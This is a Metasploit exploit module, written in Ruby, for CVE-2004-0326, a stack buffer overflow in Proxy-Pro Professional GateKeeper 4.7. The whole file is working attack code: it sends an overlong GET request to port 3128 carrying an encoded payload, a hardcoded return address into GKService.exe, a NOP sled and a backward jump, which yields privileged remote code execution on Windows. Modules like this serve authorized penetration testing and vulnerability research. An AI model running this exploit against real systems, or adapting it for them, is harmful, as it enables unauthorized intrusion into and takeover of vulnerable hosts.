Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Proxy-Pro Professional
          GateKeeper 4.7. By sending a long HTTP GET to the default port
          of 3128, a remote attacker could overflow a buffer and execute
          arbitrary code.
        },
        'Author' => 'MC',
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2004-0326'],
          ['OSVDB', '4027'],
          ['BID', '9716'],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 500,
          'BadChars' => "\x00+&=%\x0a\x0d\x20",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Proxy-Pro GateKeeper 4.7', { 'Ret' => 0x03b1e121 } ], # GKService.exe
        ],
        'Privileged' => true,
        'DisclosureDate' => '2004-02-23',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(3128)
      ]
    )
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    sploit = "GET /" + rand_text_english(3603, payload_badchars)
    sploit += payload.encoded + [target.ret].pack('V') + make_nops(10)
    sploit += "\xe9" + [-497].pack('V') + " HTTP/1.0" + "\r\n\r\n"

    sock.put(sploit)
    sock.get_once(-1, 3)

    handler
    disconnect
  end
end